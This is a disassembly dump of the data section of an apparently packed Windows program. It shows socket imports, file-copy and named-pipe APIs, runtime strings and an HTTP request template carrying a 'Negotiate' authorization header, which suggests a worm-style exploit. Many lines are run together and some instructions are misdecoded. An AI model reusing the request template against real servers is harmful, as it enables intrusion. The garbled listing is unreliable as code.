dword_4281E0	dd 71AB46C9h	; resolved to->WS2_32.getsockoptdword_4281E4	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_413444+1F0r
dword_4281E8	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoadword_4281EC	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_40FD24+8Er
dword_4281F0	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_40FCA7+15r
dword_4281F4	dd 71AB3EA1h	; resolved to->WS2_32.setsockoptdword_4281F8	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_41448F+6Er ...
dword_4281FC	dd 71AB3E00h	; resolved to->WS2_32.binddword_428200	dd 71AB88D3h	; resolved to->WS2_32.listendword_428204	dd 71AC1028h	; resolved to->WS2_32.acceptdword_428208	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_40FCA7+35r ...
dword_42820C	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_40FCA7+41r ...
dword_428210	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_40F0D3+45r ...
dword_428214	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_40F6A7+1D1r
dword_428218	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_40F0D3:loc_40F13Fr ...
dword_42821C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_40EFE5+45r ...
dword_428220	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_40EFE5+C3r ...
dword_428224	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_40F6A7+106r
dword_428228	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_42822C	dd 71AB951Eh	; resolved to->WS2_32.getsockname		dd 2 dup(0)
dword_428238	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
byte_428638	db 2Eh,	0		; DATA XREF: sub_401AA1+342Co
					; sub_401AA1+350Bo ...
word_42863A	dw 2Eh			; DATA XREF: sub_401AA1+383Bo
					; sub_401AA1+387Bo ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D3E0+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dbl_428678	dq 1.388888888888889e-2	; DATA XREF: sub_40D1F5+2Fr
dbl_428680	dq 1.666666666666667e-1	; DATA XREF: sub_40D1F5+15r
dbl_428688	dq 1.333333333333333	; DATA XREF: sub_40D241+7Ar
dword_428690	dd 0							; sub_40D720+57o ...
flt_428694	dd 5.0e-1		; DATA XREF: sub_40EA40+3A5r
dbl_428698	dq 9.765625e-4		; DATA XREF: sub_4169AB+2B8r
					; sub_4169AB+2CDr ...
dbl_4286A0	dq -1.52587890625e-4	; DATA XREF: sub_417FDF+3D3r
dbl_4286A8	dq 3.0517578125e-4	; DATA XREF: sub_417FDF+3B4r
dbl_4286B0	dq -3.0517578125e-4	; DATA XREF: sub_417FDF+332r
					; sub_417FDF+396r
dbl_4286B8	dq 1.52587890625e-4	; DATA XREF: sub_417FDF+26Dr
dbl_4286C0	dq -1.739501953125e-3	; DATA XREF: sub_417FDF+248r
					; sub_417FDF+2D1r ...
dbl_4286C8	dq 3.11279296875e-3	; DATA XREF: sub_417FDF+E1r
dbl_4286D0	dq 3.0517578125e-5	; DATA XREF: sub_417FDF+AEr
					; sub_417FDF+137r ...
dbl_4286D8	dq 6.103515625e-5	; DATA XREF: sub_417FDF+93r
					; sub_417FDF+2FDr
dbl_4286E0	dq 2.288818359375e-3	; DATA XREF: sub_417FDF+21r
dbl_4286E8	dq -3.0517578125e-5	; DATA XREF: sub_418D19+2Br
flt_4286F0	dd 9.765625e-4		; DATA XREF: sub_41AB47+1B0r
flt_4286F4	dd 8.0			; DATA XREF: sub_41AB47+1AAr
flt_4286F8	dd 0.0			; DATA XREF: sub_41AB47+16Fr
flt_4286FC	dd 1.0e-3		; DATA XREF: sub_41AB47+166r
dbl_428700	dq 1.0			; DATA XREF: sub_41CCE5+6Cr
					; sub_41CE2B+6Cr ...
dword_428708	dd 0FFFFFFFFh, 41E0AAh,	41E0BEha__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41E32A+8Eo
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41E32A+4Fo
		align 4
byte_428744	db 6			; DATA XREF: sub_41FD3F:loc_41FD96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull_0:				; DATA XREF: .XPack0:off_43F834o
		unicode	0, <(null)>,0
		align 10h
aNull_1		db '(null)',0           ; DATA XREF: .XPack0:off_43F830o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .XPack0:off_43FAACo
dbl_428868	dq 0.0			; DATA XREF: sub_4219FF+8Cr
					; sub_4219FF+ACr ...
dbl_428870	dq 4.195835e6		; DATA XREF: sub_421F14+Fr
dbl_428878	dq 3.145727e6		; DATA XREF: sub_421F14+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_421F52+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_421F52o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_422079+93o
		align 10h
dword_4288B0	dd 0FFFFFFFFh, 422764h,	42276Eh, 0dword_4288C0	dd 0FFFFFFFFh, 0		dd offset loc_4228EA
		align 10h
		dd offset sub_4228C8
		dd offset sub_4228D2
dword_4288D8	dd 0FFFFFFFFh, 422B1Ah,	422B1Eh, 0dword_4288E8	dd 0FFFFFFFFh, 422B7Ch,	422B85h, 0dword_4288F8	dd 0FFFFFFFFh, 0		dd offset loc_422C4D
		align 8
		dd offset loc_422C39
		dd offset loc_422C3D
dword_428910	dd 0FFFFFFFFh, 0		dd offset loc_422CA3
		align 10h
		dd offset loc_422C8F
		dd offset loc_422C93
dword_428928	dd 2 dup(0)						; sub_4243B4+39o ...
dword_428930	dd 0FFFFFFFFh, 42327Ah,	42327Eh, 0FFFFFFFFh, 42332Eh, 423332h
					; DATA XREF: sub_42316A+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .XPack0:off_43FC7Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423C91+119o
		align 4
asc_428BF8	db 0Ah			; DATA XREF: sub_423C91+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423C91+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_423C91+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423C91+7Do
		align 8
dword_428C38	dd 0FFFFFFFFh, 4244ADh,	4244B1haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_424EBC+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_425448+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_425448+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_425448+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425D92:loc_425E87o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_425D92+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425D92+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425D92+ADo
		align 4
dword_428CD8	dd 0FFFFFFFFh, 42678Ah,	42678Eh, 0FFFFFFFFh, 4267F9h, 4267FDh
					; DATA XREF: sub_4265D3+5o
		dd 428E14h
off_428CF4	dd offset loc_426B92	; DATA XREF: sub_426B6A+8o
					; sub_426BAE+2Co ...
		dd offset sub_426B85
		dd offset sub_426DA6
		dd offset dword_428E60
off_428D04	dd offset sub_426BFC	; DATA XREF: sub_426BAE+3Ao
					; sub_426C18o ...
		dd offset sub_426B85
		dd offset loc_426DE2
dword_428D10	dd 0							; sub_426C80+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426C23+11o
		dd offset dword_428EAC
off_428D30	dd offset sub_426D0B	; DATA XREF: sub_426D27o
					; sub_426D4A+37o ...
		dd offset sub_426B85
		dd offset loc_426DC4
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_426D4A+11o
		dd offset dword_428EF0
off_428D50	dd offset loc_426F2A	; DATA XREF: sub_426F15o
					; .XPack0:off_4403A4o ...
		dd offset dword_428F20
off_428D58	dd offset loc_426F46	; DATA XREF: sub_426F62+8o
					; sub_426F9F+8o ...
; ---------------------------------------------------------------------------
		jmp	fword ptr [edi+42h]
; ---------------------------------------------------------------------------
		align 10h
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: .XPack0:00427006o
		align 8
dword_428D78	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
dword_428D98	dd 0FFFFFFFFh, 4271BDh,	4271C1h, 0FFFFFFFFh, 42723Ah, 42723Eh
					; DATA XREF: sub_4270BB+5o
dword_428DB0	dd 0FFFFFFFFh, 427432h,	427436h, 0FFFFFFFFh, 42748Fh, 427493h
					; DATA XREF: sub_427346+5o
		dd 4403A4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_428DE0	dd offset off_4403BC	; DATA XREF: .XPack0:00428DF8o
					; .XPack0:00428E44o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_428DE0
		dd offset dword_428DB0+18h
dword_428E00	dd 3 dup(0)			dd 2, 428DF8h, 3 dup(0)
		dd offset off_4403BC
		dd offset dword_428E00+4
off_428E28	dd offset off_4403DC	; DATA XREF: .XPack0:00428E40o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_428E28
		dd offset off_428DE0
		dd offset dword_428DB0+18h
dword_428E4C	dd 3 dup(0)			dd 3, 428E40h
dword_428E60	dd 3 dup(0)			dd offset off_4403DC
		dd offset dword_428E4C+4
off_428E74	dd offset off_4403FC	; DATA XREF: .XPack0:00428E8Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_428E74
		dd offset off_428DE0
		dd offset dword_428DB0+18h
dword_428E98	dd 3 dup(0)			dd 3, 428E8Ch
dword_428EAC	dd 3 dup(0)			dd offset off_4403FC
		dd offset dword_428E98+4
off_428EC0	dd offset off_440420	; DATA XREF: .XPack0:00428ED8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_428EC0
dword_428EDC	dd 3 dup(0)			dd 1, 428ED8h
dword_428EF0	dd 3 dup(0)			dd offset off_440420
		dd offset dword_428EDC+4
		dd offset dword_428DB0+18h
dword_428F08	dd 4 dup(0)			dd 1, 428F04h
dword_428F20	dd 3 dup(0)			dd offset off_4403A4
		dd offset dword_428F08+8
		dd 0FFFFFFFFh, 427514h,	0
		dd offset sub_42750C
dword_428F44	dd 19930520h, 2, 428F34h, 4 dup(0)		dd 0FFFFFFFFh, 427538h,	0
		dd offset loc_427540
dword_428F70	dd 19930520h, 2, 428F60h, 4 dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_40D986
		dd 2 dup(0)
		dd 2 dup(1), 428F9Ch
dword_428FC0	dd 19930520h, 2, 428F8Ch, 1, 428FACh, 2	dup(0)
					; DATA XREF: .XPack0:loc_427554o
		dd 0FFFFFFFFh, 42755Eh
dword_428FE4	dd 19930520h, 1, 428FDCh, 5 dup(0)		dd offset off_4403A4
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	426F9Fh, 0
		dd offset off_4403BC
		align 8
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426CC8h, 0
		dd offset off_4403DC
dword_429040	dd 0				dd 0FFFFFFFFh, 0
dword_42904C	dd 1Ch,	426D32h, 3, 429038h, 42901Ch, 429000hdword_429064	dd 0							; sub_426DA6+4Bo
		dd offset sub_426C18
		align 10h
		dd offset dword_42904C+8
		dd 0FFFFFFFFh, 427570h
dword_42907C	dd 19930520h, 1, 429074h, 4 dup(0)		dd 0FFFFFFFFh, 427582h
dword_4290A0	dd 19930520h, 1, 429098h, 4 dup(0)		dd 0FFFFFFFFh, 427594h
dword_4290C4	dd 19930520h, 1, 4290BCh, 5 dup(0)		dd offset off_4403FC
		dd 0
		dd 0FFFFFFFFh, 0
dword_4290F4	dd 1Ch,	426D8Eh, 3, 4290E0h, 42901Ch, 429000hdword_42910C	dd 0							; sub_426DA6+2Do
		dd offset sub_426D27
		align 8
		dd offset dword_4290F4+8
		dd 0FFFFFFFFh, 4275A6h
dword_429124	dd 19930520h, 1, 42911Ch, 4 dup(0)dword_429140	dd 2, 42901Ch, 429000hdword_42914C	dd 0				dd offset sub_426B6A
		align 8
		dd offset dword_429140
		dd 3 dup(0)
		dd offset word_4293DA
		dd offset dword_4281DC
		dd 3 dup(0)
		dd offset word_429C66
		dd offset dword_428000
		dd 92h dup(0)
		dd 53570000h, 636F5341h, 4174656Bh
		db 2 dup(0)
word_4293DA	dw 5357h		; DATA XREF: .XPack0:00429168o
		dd 32335F32h, 6C6C642Eh, 45560000h, 4F495352h, 6C642E4Eh
		dd 6Ch,	74697845h, 636F7250h, 737365h, 6C430000h, 4865736Fh
		dd 6C646E61h, 65h, 61657243h, 72506574h, 7365636Fh, 4173h
		dd 65470000h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
aGetsystemdirec	db 'GetSystemDirectoryA',0
		dd 6C530000h, 706565h, 72430000h, 65746165h, 65726854h
		dd 6461h, 65440000h, 6574656Ch,	656C6946h, 41h,	6E65704Fh
		dd 636F7250h, 737365h, 65470000h, 72754374h, 746E6572h
		dd 636F7250h, 49737365h, 64h, 4C746547h, 45747361h, 726F7272h
		dd 0
aCopyfilea	db 'CopyFileA',0
		align 4
aSetfileattribu	db 'SetFileAttributesA',0
		align 4
		dd 65470000h, 6C694674h, 74744165h, 75626972h, 41736574h
		dd 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 4
aWaitforsingleo	db 'WaitForSingleObject',0
		dd 72430000h, 65746165h, 6574754Dh, 4178h, 65470000h, 63695474h
		dd 756F436Bh, 746Eh, 65540000h,	6E696D72h, 54657461h, 61657268h
		dd 64h,	54746547h, 50706D65h, 41687461h, 0
aMovefilea	db 'MoveFileA',0
		align 4
aLoadlibrarya	db 'LoadLibraryA',0
		align 4
aGetprocaddress	db 'GetProcAddress',0
		align 4
		dd 65470000h, 6D6F4374h, 65747570h, 6D614E72h, 4165h, 65470000h
		dd 636F4C74h, 49656C61h, 416F666Eh, 0
aGetversionexa	db 'GetVersionExA',0
		align 10h
aExitthread	db 'ExitThread',0
		align 4
		dd 654C0000h, 43657661h, 69746972h, 536C6163h, 69746365h
		dd 6E6Fh, 6E450000h, 43726574h,	69746972h, 536C6163h, 69746365h
		dd 6E6Fh, 6E490000h, 61697469h,	657A696Ch, 74697243h, 6C616369h
		dd 74636553h, 416E6F69h, 7053646Eh, 6F436E69h, 746E75h
		dd 65440000h, 6574656Ch, 74697243h, 6C616369h, 74636553h
		dd 6E6F69h, 754D0000h, 4269746Ch, 54657479h, 6469576Fh
		dd 61684365h, 72h, 64616552h, 656C6946h, 0
aWritefile	db 'WriteFile',0
		align 4
aTransactnamedp	db 'TransactNamedPipe',0
		align 10h
aCreatefilea	db 'CreateFileA',0
		dd 72430000h, 65746165h, 6E657645h, 4174h, 65540000h, 6E696D72h
		dd 50657461h, 65636F72h, 7373h,	75440000h, 63696C70h, 48657461h
		dd 6C646E61h, 65h, 43746547h, 65727275h, 7250746Eh, 7365636Fh
		dd 73h,	61657243h, 69506574h, 6570h, 65470000h,	6D695474h
		dd 726F4665h, 4174616Dh, 0
aGetdateformata	db 'GetDateFormatA',0
		align 4
		dd 65470000h, 6C694674h, 7A695365h, 65h, 646E6946h, 736F6C43h
		dd 65h,	656C6946h, 656D6954h, 79536F54h, 6D657473h, 656D6954h
		dd 0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		dd 69460000h, 654E646Eh, 69467478h, 41656Ch, 69460000h
		dd 6946646Eh, 46747372h, 41656C69h, 0
aSetfilepointer	db 'SetFilePointer',0
		align 4
		dd 65530000h, 6E6F4374h, 656C6F73h, 6C727443h, 646E6148h
		dd 72656Ch, 61570000h, 6F467469h, 6C754D72h, 6C706974h
		dd 6A624F65h, 73746365h, 0
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 4
aQueryperform_1	db 'QueryPerformanceCounter',0
		dd 75510000h, 50797265h, 6F667265h, 6E616D72h, 72466563h
		dd 65757165h, 79636Eh, 65470000h, 636F4C74h, 69546C61h
		dd 656Dh, 72460000h, 694C6565h,	72617262h, 79h,	45746547h
		dd 7269766Eh, 656D6E6Fh, 6156746Eh, 62616972h, 57656Ch
		dd 65480000h, 72467061h, 6565h,	65480000h, 6C417061h, 636F6Ch
		dd 65470000h, 6F725074h, 73736563h, 70616548h, 0
aVirtualqueryex	db 'VirtualQueryEx',0
		align 10h
		dd 65520000h, 72506461h, 7365636Fh, 6D654D73h, 79726Fh
		dd 65470000h, 73795374h, 496D6574h, 6F666Eh, 6F460000h
		dd 74616D72h, 7373654Dh, 41656761h, 0
aGlobalunlock	db 'GlobalUnlock',0
		align 4
aGloballock	db 'GlobalLock',0
		align 4
		dd 6E550000h, 5670616Dh, 4F776569h, 6C694666h, 65h, 5670614Dh
		dd 4F776569h, 6C694666h, 65h, 61657243h, 69466574h, 614D656Ch
		dd 6E697070h, 4167h, 65530000h,	6C694674h, 6D695465h, 65h
		dd 46746547h, 54656C69h, 656D69h, 78450000h, 646E6170h
		dd 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h, 417367h
		dd 69570000h, 68436564h, 6F547261h, 746C754Dh, 74794269h
		dd 65h,	7274736Ch, 69706D63h, 41h, 45746547h, 43746978h
		dd 5065646Fh, 65636F72h, 7373h,	65500000h, 614E6B65h, 5064656Dh
		dd 657069h, 65470000h, 676F4C74h, 6C616369h, 76697244h
		dd 7365h, 6C470000h, 6C61626Fh,	6F6D654Dh, 74537972h, 73757461h
		dd 0
aHeaprealloc	db 'HeapReAlloc',0
		dd 74520000h, 776E556Ch, 646E69h, 65470000h, 6D695474h
		dd 6E6F5A65h, 666E4965h, 616D726Fh, 6E6F6974h, 0
aGetsystemtime	db 'GetSystemTime',0
		align 4
aGetstartupinfo	db 'GetStartupInfoA',0
		dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 56746547h
		dd 69737265h, 6E6Fh, 65470000h,	766E4574h, 6E6F7269h, 746E656Dh
		dd 69726156h, 656C6261h, 41h, 70616548h, 74736544h, 796F72h
		dd 65480000h, 72437061h, 65746165h, 0
aVirtualfree	db 'VirtualFree',0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 73490000h, 57646142h
		dd 65746972h, 727450h, 65470000h, 49504374h, 6F666Eh, 65470000h
		dd 50434174h, 0
aGetoemcp	db 'GetOEMCP',0
		align 4
aRaiseexception	db 'RaiseException',0
		align 4
		dd 65480000h, 69537061h, 657Ah,	434C0000h, 5370614Dh, 6E697274h
		dd 4167h, 434C0000h, 5370614Dh,	6E697274h, 5767h, 6E550000h
		dd 646E6168h, 4564656Ch, 70656378h, 6E6F6974h, 746C6946h
		dd 7265h, 72460000h, 6E456565h,	6F726976h, 6E656D6Eh, 72745374h
		dd 73676E69h, 41h, 65657246h, 69766E45h, 6D6E6F72h, 53746E65h
		dd 6E697274h, 577367h, 65470000h, 766E4574h, 6E6F7269h
		dd 746E656Dh, 69727453h, 73676Eh, 65470000h, 766E4574h
		dd 6E6F7269h, 746E656Dh, 69727453h, 5773676Eh, 0
aSethandlecount	db 'SetHandleCount',0
		align 4
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h
		dd 70795465h, 65h, 53746553h, 61486474h, 656C646Eh, 0
aFlushfilebuffe	db 'FlushFileBuffers',0
		align 4
aGetstringtypea	db 'GetStringTypeA',0
		align 4
		dd 65470000h, 72745374h, 54676E69h, 57657079h, 0
aSetunhandledex	db 'SetUnhandledExceptionFilter',0
		dd 73490000h, 52646142h, 50646165h, 7274h, 73490000h, 43646142h
		dd 5065646Fh, 7274h, 65530000h,	646E4574h, 6946664Fh, 656Ch
		dd 6F430000h, 7261706Dh, 72745365h, 41676E69h, 0
aComparestringw	db 'CompareStringW',0
		align 4
		dd 65530000h, 766E4574h, 6E6F7269h, 746E656Dh, 69726156h
		dd 656C6261h
		db 41h,	0
word_429C66	dw 454Bh		; DATA XREF: .XPack0:0042917Co
		dd 4C454E52h, 642E3233h, 6C6Ch,	0E3h dup(0)
dword_42A000	dd 0				dd offset loc_401202
		dd offset sub_40DA34
		dd offset sub_40E93F
		dd offset sub_40F3E9
dword_42A014	dd 0		dword_42A018	dd 0		; ---------------------------------------------------------------------------
		retn	41D6h
; ---------------------------------------------------------------------------
		align 10h
		dd offset sub_42090D
		dd offset sub_423FFE
		dd offset sub_424E22
dword_42A02C	dd 0		dword_42A030	dd 0				dd offset sub_4240A3
dword_42A038	dd 0		dword_42A03C	dd 0				dd offset sub_424E33
dword_42A044	dd 3 dup(0)	dword_42A050	dd 80000002h	off_42A054	dd offset byte_42AACC	; DATA XREF: sub_401000+1Er
		dd 80000002h, 42AAFCh, 80000001h, 42AACCh
dword_42A068	dd 6272h, 0						; sub_40FD24+24o ...
		dd 20001h, 80004h, 200010h, 800040h, 800000h, 400000h
		dd 200000h, 100000h, 80000h, 40000h, 20000h, 10000h, 8000h
		dd 4000h, 2000h, 1000h,	800h, 400h, 200h, 100h,	80h, 40h
